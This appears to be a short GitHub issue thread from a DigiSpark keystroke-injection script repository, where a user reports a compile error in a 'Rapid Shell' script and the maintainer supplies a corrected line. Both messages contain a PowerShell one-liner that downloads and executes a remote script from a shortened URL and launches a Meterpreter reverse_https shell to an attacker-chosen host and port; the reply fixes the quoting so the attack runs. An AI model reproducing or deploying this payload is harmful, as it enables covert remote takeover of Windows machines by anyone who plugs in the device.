DigiSpark-Scripts icon indicating copy to clipboard operation
DigiSpark-Scripts copied to clipboard

Rapid Shell

Open cloud3799 opened this issue 7 years ago • 1 comments

Error when uploading script:

msf:50:135: error: expected ';' before 'windows'

DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <192.168.1.51> -Lport <4444> -Force""); // Edit both Lhost and Lport according to your setup

                                                                                                                                   ^

exit status 1 too many decimal points in number

cloud3799 avatar Jan 06 '19 03:01 cloud3799

Sorry for the late reply, I missed the notification. Looks like the double quotes aren't escaped. This should do the trick: DigiKeyboard.println("powershell \"IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <192.168.1.51> -Lport <4444> -Force\""); // Edit both Lhost and Lport according to your setup

CedArctic avatar Mar 10 '20 12:03 CedArctic